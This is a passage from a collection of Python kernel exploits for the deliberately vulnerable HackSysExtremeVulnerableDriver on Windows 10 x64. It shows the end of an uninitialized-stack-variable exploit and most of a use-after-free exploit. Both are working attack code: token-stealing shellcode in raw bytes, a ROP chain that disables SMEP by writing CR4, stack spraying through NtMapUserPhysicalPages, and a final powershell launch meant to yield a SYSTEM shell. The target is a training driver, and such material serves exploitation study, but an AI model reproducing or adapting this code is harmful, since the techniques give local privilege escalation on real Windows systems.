w1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn'
168 |     
169 |     if not rop:
170 |         spray_data = pattern
171 |     else:
172 |         spray_data = 'A' * 7176 + rop + 'B' * (0x2000 - 7176 - len(rop))
173 |     
174 |     spray_buffer = alloc_buffer(spray_data)
175 |     
176 |     return spray_buffer
177 | 
178 | def resolve_api(dll_name, proc_name):
179 |     '''
180 |     resolve API
181 |     '''
182 |     windll.kernel32.LoadLibraryA.argtypes = [LPCSTR]
183 |     windll.kernel32.LoadLibraryA.restype = HANDLE
184 |     
185 |     windll.kernel32.GetProcAddress.argtypes = [HANDLE, LPCSTR]
186 |     windll.kernel32.GetProcAddress.restype = LPVOID
187 |     
188 |     hDll = windll.kernel32.LoadLibraryA(dll_name)
189 |     if not hDll:
190 |         print '[-] Failed to load library: %s' % dll_name
191 |         return None
192 |     else:
193 |         print '[+] DLL loaded: %s at 0x%016x' % (dll_name, hDll)
194 |         proc = windll.kernel32.GetProcAddress(hDll, proc_name)
195 |         return proc
196 | 
197 | def build_adhoc_code(buff):
198 |     '''
199 |     build ad-hoc code
200 |     '''
201 |     NtMapUserPhysicalPages = resolve_api('ntdll', 'NtMapUserPhysicalPages')
202 |     DeviceIoControl = resolve_api('kernel32', 'DeviceIoControl')
203 |     if not NtMapUserPhysicalPages or not DeviceIoControl:
204 |         return None
205 |     
206 |     print '[+] NtMapUserPhysicalPages = 0x%016x' % NtMapUserPhysicalPages
207 |     print '[+] DeviceIoControl = 0x%016x' % DeviceIoControl
208 |     
209 |     bytes_retn = c_int(0)
210 |     magic = c_uint(0xcafebabe)
211 |     code = ''
212 |     code += mov_r8(buff)
213 |     code += mov_rdx(0x400)
214 |     code += mov_rcx(0)
215 |     code += call_func(NtMapUserPhysicalPages)           # see http://j00ru.vexillium.org/?p=769
216 |     code += push_qword(0)
217 |     code += push_qword(addressof(bytes_retn))
218 |     code += push_qword(0)
219 |     code += push_qword(0)
220 |     code += mov_r9(4)
221 |     code += mov_r8(addressof(magic))
222 |     code += mov_rdx(ioctl_UninitializedStackVariable)
223 |     code += mov_rcx(hFile)
224 |     code += call_func(DeviceIoControl)                  # UninitializedStackVariableIoctlHandler
225 |     code += add_rsp(0x20)                               # clear stack args
226 |     code += retn()
227 |     
228 |     code_buffer = alloc_buffer(code)
229 |     
230 |     return code_buffer
231 | 
232 | def open_device():
233 |     '''
234 |     (re)open vulnerable device
235 |     '''
236 |     global hFile
237 |     
238 |     if hFile > 0:
239 |         windll.kernel32.CloseHandle(hFile)
240 |     
241 |     hFile = windll.kernel32.CreateFileA(
242 |         device_name,
243 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
244 |         0x00000001,                                     # FILE_SHARE_READ
245 |         0,                                              # NULL
246 |         3,                                              # OPEN_EXISTING
247 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
248 |         0)                                              # NULL
249 |     
250 |     if hFile == -1:
251 |         print '[-] Failed to open device: %s' % device_name
252 |         return False
253 |     else:
254 |         print '[+] Device opened successfully: %s' % device_name
255 |         return True
256 | 
257 | def get_kernel_base():
258 |     '''
259 |     find base address of the kernel via EnumDeviceDrivers
260 |     '''
261 |     array = c_ulonglong * 0x400
262 |     addr = array()
263 |     
264 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
265 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
266 |     
267 |     res = windll.psapi.EnumDeviceDrivers(
268 |             cast(byref(addr), POINTER(LPVOID)),
269 |             sizeof(addr),
270 |             byref(c_ulong(0)))
271 |     if not res:
272 |         return None
273 |     
274 |     # Kernel is the first entry of the result
275 |     return addr[0]
276 | 
277 | def break_code():
278 |     import time
279 |     time.sleep(0.5)
280 |     windll.kernel32.DebugBreak()
281 | 
282 | if __name__ == '__main__':
283 |     if not open_device():
284 |         sys.exit(1)
285 |     
286 |     base_addr = get_kernel_base()
287 |     if not base_addr:
288 |         print '[-] Failed to obtain Kernel base'
289 |         sys.exit(1)
290 |     print '[+] Kernel base address: 0x%016x' % base_addr
291 |     
292 |     shellcode_addr = alloc_buffer(shellcode())
293 |     if not shellcode_addr:
294 |         print '[-] Failed to allocate shellcode'
295 |         sys.exit(1)
296 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
297 |     
298 |     ropchain = build_ropchain(base_addr, shellcode_addr)
299 |     spray_buffer = alloc_spray(ropchain)
300 |     code_buffer = build_adhoc_code(spray_buffer)
301 |     
302 |     print '[+] Ad-hoc code alloced at: 0x%016x' % code_buffer
303 |     
304 |     print '[+] Executing ad-hoc code'
305 |     
306 |     WINFUNCTYPE(None)(code_buffer)()
307 |     
308 |     # Got SYSTEM shell?
309 |     import os
310 |     os.system("powershell.exe")
311 |     
312 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/UseAfterFree_NonPagedPoolNx_v3.00.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v3.00 UseAfterFree exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_AllocateUaFObject = 0x222053
 12 | ioctl_UseUaFObject = 0x222057
 13 | ioctl_FreeUaFObject = 0x22205B
 14 | ioctl_AllocateFakeObject = 0x22205f
 15 | 
 16 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 17 | hFile = None
 18 | 
 19 | def pusha():
 20 |     '''
 21 |     alernative to pusha on x86
 22 |     '''
 23 |     # assembled with metasm
 24 |     code = ''
 25 |     code += '\x50'                                      # push rax
 26 |     code += '\x53'                                      # push rbx
 27 |     code += '\x51'                                      # push rcx
 28 |     
 29 |     return code
 30 | 
 31 | def popa():
 32 |     '''
 33 |     alternative to popa on x86
 34 |     '''
 35 |     # assembled with metasm
 36 |     code = ''
 37 |     code += '\x59'                                      # pop rcx
 38 |     code += '\x5b'                                      # pop rbx
 39 |     code += '\x58'                                      # pop rax
 40 |     
 41 |     return code
 42 | 
 43 | def mov_rcx(value):
 44 |     '''
 45 |     mov rcx,value
 46 |     '''
 47 |     code = '\x48\xb9' + struct.pack('<Q', value)
 48 |     return code
 49 | 
 50 | def mov_rdx(value):
 51 |     '''
 52 |     mov rdx,value
 53 |     '''
 54 |     code = '\x48\xba' + struct.pack('<Q', value)
 55 |     return code
 56 | 
 57 | def mov_r8(value):
 58 |     '''
 59 |     mov r8,value
 60 |     '''
 61 |     code = '\x49\xb8' + struct.pack('<Q', value)
 62 |     return code
 63 | 
 64 | def mov_r9(value):
 65 |     '''
 66 |     mov r9,value
 67 |     '''
 68 |     code = '\x49\xb9' + struct.pack('<Q', value)
 69 |     return code
 70 | 
 71 | def push_qword(value):
 72 |     '''
 73 |     mov rax,value; push rax
 74 |     '''
 75 |     code = ''
 76 |     code += '\x48\xb8' + struct.pack('<Q', value)
 77 |     code += '\x50'
 78 |     return code
 79 | 
 80 | def add_rsp(value):
 81 |     '''
 82 |     add rsp,value
 83 |     '''
 84 |     code = '\x48\x83\xc4' + chr(value)
 85 |     return code
 86 | 
 87 | def sub_rsp(value):
 88 |     '''
 89 |     sub rsp,value
 90 |     '''
 91 |     code = '\x48\x83\xec' + chr(value)
 92 |     return code
 93 | 
 94 | def call_func(addr):
 95 |     '''
 96 |     sub rsp,0x20; mov rax,addr; call rax; add rsp,0x20
 97 |     '''
 98 |     code = ''
 99 |     code += sub_rsp(0x20)                               # alloc shadow space
100 |     code += '\x48\xb8' + struct.pack('<Q', addr)
101 |     code += '\xff\xd0'
102 |     code += add_rsp(0x20)                               # clear shadow space
103 |     return code
104 | 
105 | def retn():
106 |     '''
107 |     ret
108 |     '''
109 |     code = '\xc3'
110 |     return code
111 | 
112 | def shellcode():
113 |     '''
114 |     token stealing shellcode
115 |     '''
116 |     # assembled with metasm
117 |     # steal token
118 |     code = ''
119 |     code += pusha()
120 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
121 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
122 |     code += '\x48\x89\xc3'                              # mov rbx,rax
123 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
124 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
125 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
126 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
127 |     code += '\x75\xe5'                                  # jnz $-0x19
128 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
129 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
130 |     code += popa()
131 |     code += '\x48\x81\xec\x28\x02\x00\x00'              # sub rsp,0x228
132 |     code += '\x48\x31\xc0'                              # xor rax,rax
133 |     code += '\xc3'                                      # ret
134 |     
135 |     return code
136 | 
137 | def alloc_buffer(data):
138 |     '''
139 |     alloc buffer and copy data
140 |     '''
141 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
142 |     windll.kernel32.VirtualAlloc.restype = LPVOID
143 |     
144 |     buffer = windll.kernel32.VirtualAlloc(
145 |         0,
146 |         len(data),
147 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
148 |         0x40)                                           # PAGE_EXECUTE_READWRITE
149 |     
150 |     memmove(buffer, data, len(data))
151 |     
152 |     return buffer
153 | 
154 | def build_ropchain(kernel_base, shellcode_addr):
155 |     '''
156 |     trampoline to shellcode
157 |     '''
158 |     chain = ''
159 |     chain += struct.pack('<Q', kernel_base + 0x15b273)  # add rsp, 0xd8; ret;
160 |     chain += struct.pack('<Q', 0x4141414141414141) * 27 # filler
161 |     chain += struct.pack('<Q', kernel_base + 0x203018)  # add rsp, 0x38; ret;
162 |     chain += struct.pack('<Q', 0x4141414141414141) * 7  # filler
163 |     chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
164 |     chain += struct.pack('<Q', 0x506f8)                 # rcx
165 |     chain += struct.pack('<Q', kernel_base + 0x6c77)    # add rsp, 0x48; ret;
166 |     chain += struct.pack('<Q', 0x4141414141414141) * 9  # filler
167 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
168 |     chain += struct.pack('<Q', shellcode_addr)
169 |     
170 |     return chain
171 | 
172 | def alloc_spray(rop):
173 |     '''
174 |     allocate data to spray
175 |     '''
176 |     pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4C